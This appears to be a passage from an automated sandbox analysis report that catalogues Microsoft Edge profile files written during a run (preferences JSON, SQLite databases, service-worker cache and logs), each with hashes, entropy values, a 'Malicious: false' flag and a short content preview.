Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.293818359480967
Encrypted:	false
SSDEEP:	24:YcCp/WRdsZZVMdmwC5mWRdsHPyZFRudFGRRds9JZFGJ/I3w6C1E6maPsQYhbS7n7:YcCpWsPuCvs+fcKsFgCgakhYhbc
MD5:	B0733CD56C6DAEC03253582405A3C607
SHA1:	EBFFEB5D568DFC774355F3329BB1DD69A06D9D17
SHA-256:	BB4556F6A892CD298278B5D16EB81F2B815018687B11F789213CE95806E5A11C
SHA-512:	F6F90123E0314680B23966126634511E879E761A8094AB17BD3B0F3D58F09DEB8780519C56F319B4C3FB723FE3148453E6B4A14338D052F3518D809761FD2344
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559442531603","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559443198826","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559451800699","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.2796075601549268
Encrypted:	false
SSDEEP:	48:TFkIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSBoC:JkIEumQv8m1ccnvS63mdKii+z1a
MD5:	A30CB9DA5DC3A75DBB9950EC1587A3C9
SHA1:	859D160042951A8CD4F129161BF83F30DA4D9F86
SHA-256:	C8284BEB3F1CCC18FB402FA3051FE68BF2D7F7982BB8B0450DCB3B81E55E5505
SHA-512:	96CE559AAED41960B2EB3F1EE191EFE256877D1AA587E60D58A046FCA0B08441E2D366EFCB45E5533CF6693A772B987DA213FB6FEAC15877EB2487E51CEF5C6A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF2a704.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF2bea3.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\ac0794f7-ef82-4b20-8a0b-240bfab9aa02.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\cc577c94-a04d-4ba4-9bef-05d88d36a95f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9680
Entropy (8bit):	5.111171260534552
Encrypted:	false
SSDEEP:	192:stukdpmsFz1Ia34HkvTlAJ8obV+F9hQA4vq7NIvPWYJ:stuQmsh1XubGjQxy7NIX
MD5:	3CAAA761F881C7123E57458D60D8A99B
SHA1:	ECF08C4943C05DCDE7D44EE0AFAB4340110609F2
SHA-256:	0987D6554BDA0F57CADDF219EFFD1839BBD13869C69FA8E86194636FC66BDC21
SHA-512:	4810672E40FBC71BDF8EF2DD3287A6BBBC54641F67287A76A3F11BAA93AB44D3BDF85244D1DA59F4E8CD6171C3D07A14952C24C4F2759AAF212591D02B7C8907
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376945498602487","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF2eca8.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9680
Entropy (8bit):	5.111171260534552
Encrypted:	false
SSDEEP:	192:stukdpmsFz1Ia34HkvTlAJ8obV+F9hQA4vq7NIvPWYJ:stuQmsh1XubGjQxy7NIX
MD5:	3CAAA761F881C7123E57458D60D8A99B
SHA1:	ECF08C4943C05DCDE7D44EE0AFAB4340110609F2
SHA-256:	0987D6554BDA0F57CADDF219EFFD1839BBD13869C69FA8E86194636FC66BDC21
SHA-512:	4810672E40FBC71BDF8EF2DD3287A6BBBC54641F67287A76A3F11BAA93AB44D3BDF85244D1DA59F4E8CD6171C3D07A14952C24C4F2759AAF212591D02B7C8907
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376945498602487","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF31732.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9680
Entropy (8bit):	5.111171260534552
Encrypted:	false
SSDEEP:	192:stukdpmsFz1Ia34HkvTlAJ8obV+F9hQA4vq7NIvPWYJ:stuQmsh1XubGjQxy7NIX
MD5:	3CAAA761F881C7123E57458D60D8A99B
SHA1:	ECF08C4943C05DCDE7D44EE0AFAB4340110609F2
SHA-256:	0987D6554BDA0F57CADDF219EFFD1839BBD13869C69FA8E86194636FC66BDC21
SHA-512:	4810672E40FBC71BDF8EF2DD3287A6BBBC54641F67287A76A3F11BAA93AB44D3BDF85244D1DA59F4E8CD6171C3D07A14952C24C4F2759AAF212591D02B7C8907
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376945498602487","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3470c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9680
Entropy (8bit):	5.111171260534552
Encrypted:	false
SSDEEP:	192:stukdpmsFz1Ia34HkvTlAJ8obV+F9hQA4vq7NIvPWYJ:stuQmsh1XubGjQxy7NIX
MD5:	3CAAA761F881C7123E57458D60D8A99B
SHA1:	ECF08C4943C05DCDE7D44EE0AFAB4340110609F2
SHA-256:	0987D6554BDA0F57CADDF219EFFD1839BBD13869C69FA8E86194636FC66BDC21
SHA-512:	4810672E40FBC71BDF8EF2DD3287A6BBBC54641F67287A76A3F11BAA93AB44D3BDF85244D1DA59F4E8CD6171C3D07A14952C24C4F2759AAF212591D02B7C8907
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376945498602487","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3a3e2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9680
Entropy (8bit):	5.111171260534552
Encrypted:	false
SSDEEP:	192:stukdpmsFz1Ia34HkvTlAJ8obV+F9hQA4vq7NIvPWYJ:stuQmsh1XubGjQxy7NIX
MD5:	3CAAA761F881C7123E57458D60D8A99B
SHA1:	ECF08C4943C05DCDE7D44EE0AFAB4340110609F2
SHA-256:	0987D6554BDA0F57CADDF219EFFD1839BBD13869C69FA8E86194636FC66BDC21
SHA-512:	4810672E40FBC71BDF8EF2DD3287A6BBBC54641F67287A76A3F11BAA93AB44D3BDF85244D1DA59F4E8CD6171C3D07A14952C24C4F2759AAF212591D02B7C8907
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376945498602487","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.568330277460373
Encrypted:	false
SSDEEP:	768:gD80SwWPx5fK58F1+UoAYDCx9Tuqh0VfUC9xbog/OVodjmGrwgjfwpCtu+:gD80SwWPx5fK5u1jat5mD0fBtp
MD5:	4D4EA6687C6AAEE5A941532B534803BD
SHA1:	6040FEDF06AFA7ADD7FDEE0EC88E9E4438C8D8FF
SHA-256:	B8B7B87F53B76D34B67F679C157660BAD6F0838D2D454F478602CAF8246F00FD
SHA-512:	169EE658C65AFC312C094712DCC5AB37A7C948A7FB1927CE258E3B581EC2BD730CE72BA48CEF234C48F950AAE63F66B268D0CB239AB31AF5ED013707C870EA2C
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376945498001670","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376945498001670","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF2e5b3.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.568330277460373
Encrypted:	false
SSDEEP:	768:gD80SwWPx5fK58F1+UoAYDCx9Tuqh0VfUC9xbog/OVodjmGrwgjfwpCtu+:gD80SwWPx5fK5u1jat5mD0fBtp
MD5:	4D4EA6687C6AAEE5A941532B534803BD
SHA1:	6040FEDF06AFA7ADD7FDEE0EC88E9E4438C8D8FF
SHA-256:	B8B7B87F53B76D34B67F679C157660BAD6F0838D2D454F478602CAF8246F00FD
SHA-512:	169EE658C65AFC312C094712DCC5AB37A7C948A7FB1927CE258E3B581EC2BD730CE72BA48CEF234C48F950AAE63F66B268D0CB239AB31AF5ED013707C870EA2C
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376945498001670","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376945498001670","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.836663796389914
Encrypted:	false
SSDEEP:	48:F2emftrdDGZfBDXrdYxwrdDGEBBrd3EB6:F1mftxDoRxYxwxDnxn
MD5:	4926602694EFA6C39E5181FF119CDD71
SHA1:	3C92C32C06BCB447CB215D917189F79EDFA5CF0F
SHA-256:	A6A3BD07CA5FB13054164345FF6647C2C3813706DD57AB0ED0FFEAA59A4F5F25
SHA-512:	5AEE4C76158598BA4C0FF558C2111D4404E21FC4B595BF3E8BDF49FB269BD9E818A1B0D90EA2C167EC17138B5FC84A8E1EC71DC240A625D7E7C9B194FDE9020D
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2KP..m................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8........@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x..................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	299
Entropy (8bit):	5.202623699376436
Encrypted:	false
SSDEEP:	6:HmJA+q1CHhJ23oH+TcwtE/a252KLlVmXNN+q2PCHhJ23oH+TcwtE/a2ZIFUv:MAfYeb8xL4NIvBYeb8J2FUv
MD5:	2FA103FDD7AE0664835E0BAF99BD1EB9
SHA1:	D46A5E8F06677008356A182335CC44303E34CF67
SHA-256:	A78050A7B9B427ADBE7C78D7DC737DE44DFF8BD7A7F83F287920EC8324C6B853
SHA-512:	41A4A8E51C0B037265EC528A69BEEA88E93AD573D76B21152E43ACB5E9F44C812793939C920897A7FB9EE047FF075EED88214420AFA62A280427CD588A2F65C5
Malicious:	false
Preview:	2024/11/24-13:11:56.915 1cc8 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/24-13:11:56.927 1cc8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	114380
Entropy (8bit):	5.57855662344818
Encrypted:	false
SSDEEP:	1536:AU906yxPXfOxr1lhCe1nL/rmL/rBZXECjAWNKPt3dfvYg44:d9LyxPXfOxr1lMe1nL/CL/TXEmsvFZ
MD5:	772A728CE1C226AF254A99024B5E3840
SHA1:	091F7BC46CC9DCB8D894A966914DF796E9A4B035
SHA-256:	EBF2C10D1737DE39D129AA64B18DD23A0092028BFB075495961222EA20D0B445
SHA-512:	EB04EBF4B57A2EA2D6A4D0B7D0C5F3E0B7D7F26F3617323CEAAF27E6AF6AA9EFB56583FC091706BCD8CE22EBA1E3CEB34F1636ADFC60304E0B0471A3EFC3E28A
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188881
Entropy (8bit):	6.385633364766093
Encrypted:	false
SSDEEP:	3072:0R6lCMriz5weZQjbsL/LPZM5v1EeGlhRCwSJVk7E:O5wdjIL/NuaeEXu3
MD5:	8AA748C70A034BCDC52A0EB7AAA86A44
SHA1:	162C567670AD08275B07354F053644BC84D1D300
SHA-256:	8221AD745AE2D3027A3325E3E3FEDA3247CD9CD24DCFED8C377EDB9F96878874
SHA-512:	D94AB8D3B3458E781B121276033B2492FAD72BE6C64DA94EC7355917FB96546BC130A44B31505C83958C0D36E14491A2B7E33406671F0D973BEF843BE26B299D
Malicious:	false
